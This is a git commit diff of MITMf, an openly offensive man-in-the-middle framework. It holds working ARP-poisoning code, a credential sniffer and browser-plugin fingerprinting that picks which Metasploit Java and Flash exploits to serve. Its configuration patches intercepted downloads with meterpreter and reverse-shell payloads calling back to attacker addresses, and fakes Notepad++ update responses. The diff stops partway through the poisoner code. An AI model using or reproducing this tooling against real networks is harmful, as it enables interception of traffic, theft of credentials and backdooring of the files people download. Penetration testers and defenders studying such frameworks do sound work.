This commit refactors ARP and DHCP poisoning:

DHCP poisoning now works on Windows, additionaly it's been optimized for performance improvements
ARP poisoning has been optimized with and internal cache and some algo improvements

cve-details-parser.py has been added to the utils/ directory to help adding exploits to the BrowserSniper config file

I'm currently working on adding to the filepwn plugin all of the missing options that bdfproxy stand-alone has
This commit is contained in:
byt3bl33d3r 2015-07-25 02:49:41 +02:00
parent 5e2f30fb89
commit ba14ed8687
35 changed files with 1082 additions and 676 deletions

18
CONTRIBUTING.md Normal file
View file

@ -0,0 +1,18 @@
Contributing
============
Hi! Thanks for taking the time and contributing to MITMf! Pull requests are always welcome!
Submitting Issues
=================
If you have *questions* regarding the framework please email me at byt3bl33d3r@gmail.com
**Only submit issues if you find a bug in the latest version of the framework.**
When inevitably you do come across said *bug*, please open an issue and include at least the following in the description:
- Full command string you used
- OS you're using
- Full error traceback, if any
- A packet capture if relevant
Also, remember that Github markdown is your friend!

View file

@ -10,12 +10,11 @@ Twitter: @byt3bl33d3r
IRC on Freenode: #MITMf
Email: byt3bl33d3r@gmail.com
**Update: Installation steps have changed! Please read the new [instructions](#installation)**
**Before submitting issues, please read the [FAQ](#faq) and the appropriate [section](#submitting-issues).**
**Before submitting issues, please read the [FAQ](#faq) and [CONTRIBIUTING.md](#submitting-issues).**
Available plugins
=================
- ```HTA Drive-By``` - Injects a fake update notification and prompts clients to download an HTA application
- ```SMBtrap``` - Exploits the 'SMB Trap' vulnerability on connected clients
- ```Screenshotter``` - Uses HTML5 Canvas to render an accurate screenshot of a clients browser
- ```Responder``` - LLMNR, NBT-NS, WPAD and MDNS poisoner
@ -84,33 +83,20 @@ Installation
If you're rocking Kali and want the latest version:
- Clone this repository
- Run the ```kali_setup.sh``` script
**Note: you can ignore any errors when ```pip``` tries to install dependencies, MITMf should be able to run anyway**
If you're rocking any other Linux distro:
- Clone this repository
- Run the ```other_setup.sh``` script
- Run the command ```pip install --upgrade -r requirements.txt``` to install all Python dependencies
Submitting Issues
=================
If you have *questions* regarding the framework please email me at byt3bl33d3r@gmail.com
**Only submit issues if you find a bug in the latest version of the framework.**
When inevitably you do come across said *bug*, please open an issue and include at least the following in the description:
- Full command string you used
- OS you're using
- Full error traceback, if any
Also, remember that Github markdown is your friend!
- Run the command ```pip install --upgrade mitmflib``` to install all Python dependencies
FAQ
===
- **Is Windows supported?**
- No
- No, it will never be supported
- **Is OSX supported?**
- Currently no, although with some tweaking (which I'll probably get around to in the near future), it should be able to run perfectly on OSX.
- Yes! Initial compatibility has been introduced in 0.9.8! Find anything broken submit a PR or open an issue ticket!
- **I can't install package X because of an error!**
- Try installing the package via ```pip``` or your distro's package manager. This *isn't* a problem with MITMf.
@ -121,5 +107,5 @@ FAQ
- **I get an ImportError when launching MITMf!**
- Please read the [installation](#installation) guide.
- **Dude, no documentation/video tutorials?**
- Currently no but once the framework hits 1.0, I'll probably start writing/making some.
- **Dude, no documentation?**
- The docs are a work in progress at the moment, once the framework hits 1.0 I will push them to the wiki

View file

@ -12,12 +12,22 @@
pass = beef
[[Metasploit]]
msfport = 8080 # Port to start Metasploit's webserver on that will host exploits
rpcip = 127.0.0.1
rpcport = 55552
rpcpass = abc123
[[MITMf-API]]
host = 127.0.0.1
port = 9999
[[HTTP]]
#
# Here you can configure MITMf's internal HTTP server
# Note: changing the port number might break certain plugins
port = 80
[[SMB]]
#
@ -57,25 +67,6 @@
# ini = /tmp/desktop.ini
# bat = /tmp/evil.bat
[[HTTP]]
#
# Here you can configure MITMf's internal HTTP server
#
port = 80
#[[[Paths]]]
#
# Here you can define the content to deliver
#
# Format is urlpath = filesystem path (urlpath can be a regular expression)
# ".*" = "/var/www"
# "/test" = "/var/www2"
[[DNS]]
#
@ -93,7 +84,7 @@
nameservers = 8.8.8.8
[[[A]]] # Queries for IPv4 address records
*.thesprawls.org=192.168.178.27
*.thesprawl.org=192.168.178.27
[[[AAAA]]] # Queries for IPv6 address records
*.thesprawl.org=2001:db8::1
@ -135,9 +126,8 @@
[Spoof]
[[DHCP]]
ip_pool = 192.168.2.10-50
ip_pool = 192.168.1.10-50
subnet = 255.255.255.0
dns_server = 192.168.2.20 #optional
[Replace]
@ -306,18 +296,22 @@
# When adding java exploits remember the following format: version string (eg 1.6.0) + update version (eg 28) = 1.6.0.28
#
[[multi/browser/java_rhino]] #Exploit's MSF path
msfport = 8080 # Port to start Metasploit's webserver which will host the exploits
[[exploits]]
[[[multi/browser/java_rhino]]] #Exploit's MSF path
Type = PluginVuln #Can be set to PluginVuln, BrowserVuln
OS = Any #Can be set to Any, Windows or Windows + version (e.g Windows 8.1)
Browser = Any #Can be set to Any, Chrome, Firefox, IE or browser + version (e.g IE 6)
Browser = Any #Can be set to Any, Chrome, Firefox, MSIE or browser + version (e.g IE 6)
Plugin = Java #Can be set to Java, Flash (if Type is BrowserVuln will be ignored)
#An exact list of the plugin versions affected (if Type is BrowserVuln will be ignored)
PluginVersions = 1.6.0, 1.6.0.1, 1.6.0.10, 1.6.0.11, 1.6.0.12, 1.6.0.13, 1.6.0.14, 1.6.0.15, 1.6.0.16, 1.6.0.17, 1.6.0.18, 1.6.0.19, 1.6.0.2, 1.6.0.20, 1.6.0.21, 1.6.0.22, 1.6.0.23, 1.6.0.24, 1.6.0.25, 1.6.0.26, 1.6.0.27, 1.6.0.3, 1.6.0.4, 1.6.0.5, 1.6.0.6, 1.6.0.7, 1.7.0
[[multi/browser/java_atomicreferencearray]]
[[[multi/browser/java_atomicreferencearray]]]
Type = PluginVuln
OS = Any
@ -325,7 +319,7 @@
Plugin = Java
PluginVersions = 1.5.0, 1.5.0.1, 1.5.0.10, 1.5.0.11, 1.5.0.12, 1.5.0.13, 1.5.0.14, 1.5.0.15, 1.5.0.16, 1.5.0.17, 1.5.0.18, 1.5.0.19, 1.5.0.2, 1.5.0.20, 1.5.0.21, 1.5.0.22, 1.5.0.23, 1.5.0.24, 1.5.0.25, 1.5.0.26, 1.5.0.27, 1.5.0.28, 1.5.0.29, 1.5.0.3, 1.5.0.31, 1.5.0.33, 1.5.0.4, 1.5.0.5, 1.5.0.6, 1.5.0.7, 1.5.0.8, 1.5.0.9, 1.6.0, 1.6.0.1, 1.6.0.10, 1.6.0.11, 1.6.0.12, 1.6.0.13, 1.6.0.14, 1.6.0.15, 1.6.0.16, 1.6.0.17, 1.6.0.18, 1.6.0.19, 1.6.0.2, 1.6.0.20, 1.6.0.21, 1.6.0.22, 1.6.0.24, 1.6.0.25, 1.6.0.26, 1.6.0.27, 1.6.0.29, 1.6.0.3, 1.6.0.30, 1.6.0.4, 1.6.0.5, 1.6.0.6, 1.6.0.7, 1.7.0, 1.7.0.1, 1.7.0.2
[[multi/browser/java_jre17_jmxbean_2]]
[[[multi/browser/java_jre17_jmxbean_2]]]
Type = PluginVuln
OS = Any
@ -333,7 +327,7 @@
Plugin = Java
PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.2, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9
[[multi/browser/java_jre17_reflection_types]]
[[[multi/browser/java_jre17_reflection_types]]]
Type = PluginVuln
OS = Any
@ -341,7 +335,7 @@
Plugin = Java
PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.13, 1.7.0.15, 1.7.0.17, 1.7.0.2, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9
[[multi/browser/java_verifier_field_access]]
[[[multi/browser/java_verifier_field_access]]]
Type = PluginVuln
OS = Any
@ -349,7 +343,7 @@
Plugin = Java
PluginVersions = 1.4.2.37, 1.5.0.35, 1.6.0.32, 1.7.0.4
[[multi/browser/java_jre17_provider_skeleton]]
[[[multi/browser/java_jre17_provider_skeleton]]]
Type = PluginVuln
OS = Any
@ -357,8 +351,7 @@
Plugin = Java
PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.13, 1.7.0.15, 1.7.0.17, 1.7.0.2, 1.7.0.21, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9
[[exploit/windows/browser/adobe_flash_pcre]]
[[[exploit/windows/browser/adobe_flash_pcre]]]
Type = PluginVuln
OS = Windows
@ -366,7 +359,7 @@
Plugin = Flash
PluginVersions = 11.2.202.440, 13.0.0.264, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296
[[exploit/windows/browser/adobe_flash_net_connection_confusion]]
[[[exploit/windows/browser/adobe_flash_net_connection_confusion]]]
Type = PluginVuln
OS = Windows
@ -374,7 +367,7 @@
Plugin = Flash
PluginVersions = 13.0.0.264, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296, 16.0.0.305
[[exploit/windows/browser/adobe_flash_copy_pixels_to_byte_array]]
[[[exploit/windows/browser/adobe_flash_copy_pixels_to_byte_array]]]
Type = PluginVuln
OS = Windows
@ -382,6 +375,22 @@
Plugin = Flash
PluginVersions = 11.2.202.223, 11.2.202.228, 11.2.202.233, 11.2.202.235, 11.2.202.236, 11.2.202.238, 11.2.202.243, 11.2.202.251, 11.2.202.258, 11.2.202.261, 11.2.202.262, 11.2.202.270, 11.2.202.273,11.2.202.275, 11.2.202.280, 11.2.202.285, 11.2.202.291, 11.2.202.297, 11.2.202.310, 11.2.202.332, 11.2.202.335, 11.2.202.336, 11.2.202.341, 11.2.202.346, 11.2.202.350, 11.2.202.356, 11.2.202.359, 11.2.202.378, 11.2.202.394, 11.2.202.400, 13.0.0.111, 13.0.0.182, 13.0.0.201, 13.0.0.206, 13.0.0.214, 13.0.0.223, 13.0.0.231, 13.0.0.241, 13.0.0.83, 14.0.0.110, 14.0.0.125, 14.0.0.137, 14.0.0.145, 14.0.0.176, 14.0.0.178, 14.0.0.179, 15.0.0.144
[[[exploit/multi/browser/adobe_flash_opaque_background_uaf]]]
Type = PluginVuln
OS = Any
Browser = Any
Plugin = Flash
PluginVersions = 11.1, 11.1.102.59, 11.1.102.62, 11.1.102.63, 11.1.111.44, 11.1.111.50, 11.1.111.54, 11.1.111.64, 11.1.111.73, 11.1.111.8, 11.1.115.34, 11.1.115.48, 11.1.115.54, 11.1.115.58, 11.1.115.59, 11.1.115.63, 11.1.115.69, 11.1.115.7, 11.1.115.81, 11.2.202.223, 11.2.202.228, 11.2.202.233, 11.2.202.235, 11.2.202.236, 11.2.202.238, 11.2.202.243, 11.2.202.251, 11.2.202.258, 11.2.202.261, 11.2.202.262, 11.2.202.270, 11.2.202.273, 11.2.202.275, 11.2.202.280, 11.2.202.285, 11.2.202.291, 11.2.202.297, 11.2.202.310, 11.2.202.327, 11.2.202.332, 11.2.202.335, 11.2.202.336, 11.2.202.341, 11.2.202.346, 11.2.202.350, 11.2.202.356, 11.2.202.359, 11.2.202.378, 11.2.202.394, 11.2.202.411, 11.2.202.424, 11.2.202.425, 11.2.202.429, 11.2.202.438, 11.2.202.440, 11.2.202.442, 11.2.202.451, 11.2.202.468, 13.0.0.182, 13.0.0.201, 13.0.0.206, 13.0.0.214, 13.0.0.223, 13.0.0.231, 13.0.0.241, 13.0.0.244, 13.0.0.250, 13.0.0.257, 13.0.0.258, 13.0.0.259, 13.0.0.260, 13.0.0.262, 13.0.0.264, 13.0.0.289, 13.0.0.292, 13.0.0.302, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296, 17.0.0.134, 17.0.0.169, 17.0.0.188, 17.0.0.190, 18.0.0.160, 18.0.0.194, 18.0.0.203, 18.0.0.204
[[[exploit/multi/browser/adobe_flash_hacking_team_uaf]]]
Type = PluginVuln
OS = Any
Browser = Any
Plugin = Flash
PluginVersions = 13.0.0.292, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296, 17.0.0.134, 17.0.0.169, 17.0.0.188, 18.0.0.161, 18.0.0.194
[FilePwn]
# BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something'
@ -419,6 +428,28 @@
#
# Tested on Kali-Linux.
[[hosts]]
#whitelist host/IP - patch these only.
#ALL is everything, use the blacklist to leave certain hosts/IPs out
whitelist = ALL
#Hosts that are never patched, but still pass through the proxy. You can include host and ip, recommended to do both.
blacklist = , # a comma is null do not leave blank
[[keywords]]
#These checks look at the path of a url for keywords
whitelist = ALL
#For blacklist note binaries that you do not want to touch at all
# Also applied in zip files
blacklist = Tcpview.exe, skype.exe, .dll
[[ZIP]]
# patchCount is the max number of files to patch in a zip file
# After the max is reached it will bypass the rest of the files
@ -472,23 +503,21 @@
MSFPAYLOAD = linux/x64/shell_reverse_tcp
[[[[WindowsIntelx86]]]]
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
PATCH_TYPE = SINGLE #JUMP/SINGLE/APPEND
# PATCH_METHOD overwrites PATCH_TYPE with jump
# PATCH_METHOD = automatic
PATCH_METHOD =
HOST = 192.168.10.11
PORT = 8443
PATCH_METHOD = automatic
HOST = 192.168.1.88
PORT = 8444
SHELL = iat_reverse_tcp_stager_threaded
SUPPLIED_SHELLCODE = None
ZERO_CERT = True
PATCH_DLL = False
ZERO_CERT = False
PATCH_DLL = True
MSFPAYLOAD = windows/meterpreter/reverse_tcp
[[[[WindowsIntelx64]]]]
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
# PATCH_METHOD overwrites PATCH_TYPE with jump
# PATCH_METHOD = automatic
PATCH_METHOD =
PATCH_METHOD = automatic
HOST = 192.168.1.16
PORT = 8088
SHELL = iat_reverse_tcp_stager_threaded
@ -511,9 +540,25 @@
SUPPLIED_SHELLCODE = None
MSFPAYLOAD = linux/x64/shell_reverse_tcp
[EvilGrade]
# Call out the difference for targets here as they differ from ALL
# These settings override the ALL settings
[[NotePad++]]
host = 'notepad-plus-plus.org'
url = '/update/getDownloadUrl.php?version='
data = r'<GUP><NeedToBeUpdated>yes</NeedToBeUpdated><Version>%RAND%</Version><Location>http://notepad-plus-plus.org/repository/%RAND%/%RAND%/npp.%RAND%.Installer.exe</Location></GUP>'
[[[sysinternals.com]]]
LinuxType = None
WindowsType = x86
CompressedFiles = False
#inherits WindowsIntelx32 from ALL
[[[[WindowsIntelx86]]]]
PATCH_DLL = False
ZERO_CERT = True
[[[sourceforge.org]]]
WindowsType = x64
CompressedFiles = False
[[[[WindowsIntelx64]]]]
PATCH_DLL = False
[[[[WindowsIntelx86]]]]
PATCH_DLL = False

View file

@ -111,10 +111,7 @@ class ClientRequest(Request):
log.debug("[ClientRequest] Sending expired cookies")
self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path))
elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)):
if 'securelink' in headers:
del headers['securelink']
elif self.urlMonitor.isSecureLink(client, url):
log.debug("[ClientRequest] Sending request via SSL ({})".format((client,url)))
self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url))

View file

@ -1260,6 +1260,12 @@ var PD = PluginDetect;
//Set delimiter
PD.getVersion(".");
//Get client Info
data = os_detect.getVersion()
//Check to see if the UA is a lying bastard
data['ua_is_lying'] = os_detect.ua_is_lying
//Try to get plugin list
var pluginList = [];
if (navigator.plugins) {
@ -1270,30 +1276,24 @@ if (navigator.plugins) {
}
if (pluginList.length > 0){
data['pluginlist'] = pluginList;
data['plugin_list'] = pluginList;
}
//Check if java plugin is installed and/or enabled
var javaEnabled = PD.isMinVersion('java');
data['java'] = javaEnabled;
//var javaEnabled = PD.isMinVersion('java');
//data['java'] = javaEnabled;
//Get exact java plugin version
var javaVersionString = PD.getVersion('java');
data['java_v'] = javaVersionString;
data['java'] = javaVersionString;
//Check if flash plugin is installed and/or enabled
var flashEnabled = PD.isMinVersion('flash');
data['flash'] = flashEnabled;
//var flashEnabled = PD.isMinVersion('flash');
//data['flash'] = flashEnabled;
//Get exact flash plugin version
var flashVersionString = PD.getVersion('flash');
data['flash_v'] = flashVersionString;
//Get client Info
data['client_info'] = os_detect.getVersion()
//Check to see if the UA is a lying bastard
data['client_info']['ua_is_lying'] = os_detect.ua_is_lying
data['flash'] = flashVersionString;
xhr.open("POST", "clientprfl", true);
xhr.setRequestHeader("Content-Type", "application/json; charset=UTF-8");

View file

@ -1024,7 +1024,7 @@ function h2cRenderContext(width, height) {
};
}
_html2canvas.Parse = function (images, options) {
window.scroll(0,0);
//window.scroll(0,0);
var element = (( options.elements === undefined ) ? document.body : options.elements[0]), // select body by default
numDraws = 0,
@ -2871,7 +2871,9 @@ function grab() {
xmlhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
var x=encodeURIComponent(dat);
xmlhttp.send(x);
}
},
width: screen.width,
height: screen.height
});
}

View file

@ -32,41 +32,37 @@ from core.sergioproxy.ProxyPlugins import ProxyPlugins
app = Flask(__name__)
class mitmfapi:
class mitmfapi(ConfigWatcher):
_instance = None
host = ConfigWatcher.getInstance().config['MITMf']['MITMf-API']['host']
port = int(ConfigWatcher.getInstance().config['MITMf']['MITMf-API']['port'])
__shared_state = {}
@staticmethod
def getInstance():
if mitmfapi._instance is None:
mitmfapi._instance = mitmfapi()
return mitmfapi._instance
def __init__(self):
self.__dict__ = self.__shared_state
self.host = self.config['MITMf']['MITMf-API']['host']
self.port = int(self.config['MITMf']['MITMf-API']['port'])
@app.route("/")
def getPlugins():
# example: http://127.0.0.1:9090/
# example: http://127.0.0.1:9999/
pdict = {}
#print ProxyPlugins.getInstance().plist
for activated_plugin in ProxyPlugins.getInstance().plist:
#print ProxyPlugins().plugin_list
for activated_plugin in ProxyPlugins().plugin_list:
pdict[activated_plugin.name] = True
#print ProxyPlugins.getInstance().plist_all
for plugin in ProxyPlugins.getInstance().plist_all:
#print ProxyPlugins().all_plugins
for plugin in ProxyPlugins().all_plugins:
if plugin.name not in pdict:
pdict[plugin.name] = False
#print ProxyPlugins.getInstance().pmthds
#print ProxyPlugins().pmthds
return json.dumps(pdict)
@app.route("/<plugin>")
def getPluginStatus(plugin):
# example: http://127.0.0.1:9090/cachekill
for p in ProxyPlugins.getInstance().plist:
for p in ProxyPlugins().plugin_list:
if plugin == p.name:
return json.dumps("1")
@ -77,15 +73,15 @@ class mitmfapi:
# example: http://127.0.0.1:9090/cachekill/1 # enabled
# example: http://127.0.0.1:9090/cachekill/0 # disabled
if status == "1":
for p in ProxyPlugins.getInstance().plist_all:
if (p.name == plugin) and (p not in ProxyPlugins.getInstance().plist):
ProxyPlugins.getInstance().addPlugin(p)
for p in ProxyPlugins().all_plugins:
if (p.name == plugin) and (p not in ProxyPlugins().plugin_list):
ProxyPlugins().addPlugin(p)
return json.dumps({"plugin": plugin, "response": "success"})
elif status == "0":
for p in ProxyPlugins.getInstance().plist:
for p in ProxyPlugins().plugin_list:
if p.name == plugin:
ProxyPlugins.getInstance().removePlugin(p)
ProxyPlugins().removePlugin(p)
return json.dumps({"plugin": plugin, "response": "success"})
return json.dumps({"plugin": plugin, "response": "failed"})

View file

@ -5,6 +5,7 @@ import base64
import threading
import binascii
from core.logger import logger
from os import geteuid, devnull
from sys import exit
from urllib import unquote
@ -16,7 +17,8 @@ from urllib import unquote
from scapy.all import *
conf.verb=0
log = logging.getLogger('mitmf')
formatter = logging.Formatter("%(asctime)s %(clientip)s [NetCreds] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("NetCreds", formatter)
DN = open(devnull, 'w')
pkt_frag_loads = OrderedDict()
@ -43,11 +45,11 @@ class NetCreds:
version = "1.0"
def sniffer(self, interface):
sniff(iface=interface, prn=pkt_parser, store=0)
def sniffer(self, interface, ip):
sniff(iface=interface, prn=pkt_parser, filter="not host {}".format(ip), store=0)
def start(self, interface):
t = threading.Thread(name='NetCreds', target=self.sniffer, args=(interface,))
def start(self, interface, ip):
t = threading.Thread(name='NetCreds', target=self.sniffer, args=(interface, ip,))
t.setDaemon(True)
t.start()
@ -897,7 +899,7 @@ def printer(src_ip_port, dst_ip_port, msg):
print_str = '[{} > {}] {}'.format(src_ip_port, dst_ip_port, msg)
# All credentials will have dst_ip_port, URLs will not
log.info("[NetCreds] {}".format(print_str))
log.info("{}".format(print_str))
else:
print_str = '[{}] {}'.format(src_ip_port.split(':')[0], msg)
log.info("[NetCreds] {}".format(print_str))
log.info("{}".format(print_str))

View file

@ -16,15 +16,12 @@
# USA
#
import threading
import logging
from traceback import print_exc
import threading
from netaddr import IPNetwork, IPRange, IPAddress, AddrFormatError
from core.logger import logger
from core.utils import set_ip_forwarding, iptables
from time import sleep
from scapy.all import ARP, send, sendp, sniff, getmacbyip
from scapy.all import *
formatter = logging.Formatter("%(asctime)s [ARPpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("ARPpoisoner", formatter)
@ -36,78 +33,101 @@ class ARPpoisoner:
version = '0.1'
def __init__(self, options):
try:
self.gatewayip = str(IPAddress(options.gateway))
except AddrFormatError as e:
sys.exit("Specified an invalid IP address as gateway")
self.gatewaymac = getmacbyip(options.gateway)
self.targets = self.get_target_range(options.targets)
if self.gatewaymac is None: sys.exit("Error: Could not resolve gateway's MAC address")
self.ignore = self.get_range(options.ignore)
if self.ignore is None: self.ignore = []
self.targets = self.get_range(options.targets)
self.arpmode = options.arpmode
self.debug = False
self.send = True
self.interval = 3
self.interface = options.interface
self.myip = options.ip
self.mymac = options.mac
if self.gatewaymac is None:
sys.exit("Error: Could not resolve gateway's MAC address")
self.arp_cache = {}
log.debug("gatewayip => {}".format(self.gatewayip))
log.debug("gatewaymac => {}".format(self.gatewaymac))
log.debug("targets => {}".format(self.targets))
log.debug("ignore => {}".format(self.ignore))
log.debug("ip => {}".format(self.myip))
log.debug("mac => {}".format(self.mymac))
log.debug("interface => {}".format(self.interface))
log.debug("arpmode => {}".format(self.arpmode))
log.debug("interval => {}".format(self.interval))
set_ip_forwarding(1)
iptables().flush()
iptables().http(options.port)
def start(self):
#create a L3 and L2 socket, to be used later to send ARP packets
#this doubles performance since send() and sendp() open and close a socket on each packet
self.s = conf.L3socket(iface=self.interface)
self.s2 = conf.L2socket(iface=self.interface)
if self.arpmode == 'rep':
t = threading.Thread(name='ARPpoisoner-rep', target=self.poison_arp_rep)
t = threading.Thread(name='ARPpoisoner-rep', target=self.poison, args=('is-at',))
elif self.arpmode == 'req':
t = threading.Thread(name='ARPpoisoner-req', target=self.poison_arp_req)
t = threading.Thread(name='ARPpoisoner-req', target=self.poison, args=('who-has',))
t.setDaemon(True)
t.start()
if self.targets is None:
log.debug('Starting ARPWatch')
t = threading.Thread(name='ARPWatch', target=self.start_arp_watch)
t.setDaemon(True)
t.start()
def get_target_range(self, targets):
def get_range(self, targets):
if targets is None:
return None
try:
targetList = []
target_list = []
for target in targets.split(','):
if '/' in target:
targetList.append(IPNetwork(target))
target_list.extend(list(IPNetwork(target)))
elif '-' in target:
first_half = target.split('-')[0]
second_half = first_half + target.split('-')[1]
targetList.append(IPRange(first_half, second_half))
start_addr = IPAddress(target.split('-')[0])
try:
end_addr = IPAddress(target.split('-')[1])
ip_range = IPRange(start_addr, end_addr)
except AddrFormatError:
end_addr = list(start_addr.words)
end_addr[-1] = target.split('-')[1]
end_addr = IPAddress('.'.join(map(str, end_addr)))
ip_range = IPRange(start_addr, end_addr)
target_list.extend(list(ip_range))
else:
targetList.append(IPAddress(target))
target_list.append(IPAddress(target))
return targetList
except AddrFormatError as e:
return target_list
except AddrFormatError:
sys.exit("Specified an invalid IP address/range/network as target")
def start_arp_watch(self):
try:
sniff(prn=self.arp_watch_callback, filter="arp", store=0)
except Exception as e:
if "Interrupted system call" not in e:
log.error("[ARPWatch] Exception occurred when invoking sniff(): {}".format(e))
pass
def arp_watch_callback(self, pkt):
if self.send is True: #Prevents sending packets on exiting
if self.send is True:
if ARP in pkt and pkt[ARP].op == 1: #who-has only
#broadcast mac is 00:00:00:00:00:00
packet = None
@ -117,7 +137,7 @@ class ARPpoisoner:
#print str(pkt[ARP].pdst) #ip of destination (Who is ...?)
if (str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and str(pkt[ARP].pdst) == self.gatewayip and self.myip != str(pkt[ARP].psrc)):
log.debug("[ARPWatch] {} is asking where the Gateway is. Sending reply: I'm the gateway biatch!'".format(pkt[ARP].psrc))
log.debug("[ARPWatch] {} is asking where the Gateway is. Sending the \"I'm the gateway biatch!\" reply!".format(pkt[ARP].psrc))
#send repoison packet
packet = ARP()
packet.op = 2
@ -126,7 +146,7 @@ class ARPpoisoner:
packet.pdst = str(pkt[ARP].psrc)
elif (str(pkt[ARP].hwsrc) == self.gatewaymac and str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and self.myip != str(pkt[ARP].pdst)):
log.debug("[ARPWatch] Gateway asking where {} is. Sending reply: I'm {} biatch!".format(pkt[ARP].pdst, pkt[ARP].pdst))
log.debug("[ARPWatch] Gateway asking where {} is. Sending the \"I'm {} biatch!\" reply!".format(pkt[ARP].pdst, pkt[ARP].pdst))
#send repoison packet
packet = ARP()
packet.op = 2
@ -135,7 +155,7 @@ class ARPpoisoner:
packet.pdst = str(pkt[ARP].pdst)
elif (str(pkt[ARP].hwsrc) == self.gatewaymac and str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and self.myip == str(pkt[ARP].pdst)):
log.debug("[ARPWatch] Gateway asking where {} is. Sending reply: This is the h4xx0r box!".format(pkt[ARP].pdst))
log.debug("[ARPWatch] Gateway asking where {} is. Sending the \"This is the h4xx0r box!\" reply!".format(pkt[ARP].pdst))
packet = ARP()
packet.op = 2
@ -145,165 +165,87 @@ class ARPpoisoner:
try:
if packet is not None:
send(packet, verbose=self.debug, iface=self.interface)
self.s.send(packet)
except Exception as e:
if "Interrupted system call" not in e:
log.error("[ARPWatch] Exception occurred while sending re-poison packet: {}".format(e))
pass
def poison_arp_rep(self):
def resolve_target_mac(self, targetip):
targetmac = None
try:
targetmac = self.arp_cache[targetip] # see if we already resolved that address
log.debug('{} has already been resolved'.format(targetip))
except KeyError:
#This following replaces getmacbyip(), much faster this way
packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip)
try:
resp, _ = sndrcv(self.s2, packet, timeout=2, verbose=False)
except Exception as e:
resp= ''
if "Interrupted system call" not in e:
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
if len(resp) > 0:
targetmac = resp[0][1].hwsrc
self.arp_cache[targetip] = targetmac # shove that address in our cache
log.debug("Resolved {} => {}".format(targetip, targetmac))
else:
log.debug("Unable to resolve MAC address of {}".format(targetip))
return targetmac
def poison(self, arpmode):
sleep(2)
while self.send:
if self.targets is None:
pkt = Ether(src=self.mymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mymac, psrc=self.gatewayip, op="is-at")
sendp(pkt, iface=self.interface, verbose=self.debug) #sends at layer 2
self.s2.send(Ether(src=self.mymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mymac, psrc=self.gatewayip, op=arpmode))
elif self.targets:
#Since ARP spoofing relies on knowing the targets MAC address, this whole portion is just error handling in case we can't resolve it
for target in self.targets:
if type(target) is IPAddress:
targetip = str(target)
if (targetip != self.myip) and (target not in self.ignore):
targetmac = self.resolve_target_mac(targetip)
if targetmac is not None:
try:
targetmac = getmacbyip(targetip)
if targetmac is None:
log.debug("Unable to resolve MAC address of {}".format(targetip))
elif targetmac:
send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug)
send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="is-at", ), iface=self.interface, verbose=self.debug)
log.debug("Poisoning {} <-> {}".format(targetip, self.gatewayip))
self.s.send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op=arpmode))
self.s.send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op=arpmode))
except Exception as e:
if "Interrupted system call" not in e:
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
pass
if (type(target) is IPRange) or (type(target) is IPNetwork):
for targetip in target:
try:
targetmac = getmacbyip(str(targetip))
if targetmac is None:
log.debug("Unable to resolve MAC address of {}".format(targetip))
elif targetmac:
send(ARP(pdst=str(targetip), psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug)
send(ARP(pdst=self.gatewayip, psrc=str(targetip), hwdst=self.gatewaymac, op="is-at", ), iface=self.interface, verbose=self.debug)
except Exception as e:
if "Interrupted system call" not in e:
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
print_exc()
pass
sleep(self.interval)
def poison_arp_req(self):
while self.send:
if self.targets is None:
pkt = Ether(src=self.mymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mymac, psrc=self.gatewayip, op="who-has")
sendp(pkt, iface=self.interface, verbose=self.debug) #sends at layer 2
elif self.targets:
for target in self.targets:
if type(target) is IPAddress:
targetip = str(target)
try:
targetmac = getmacbyip(targetip)
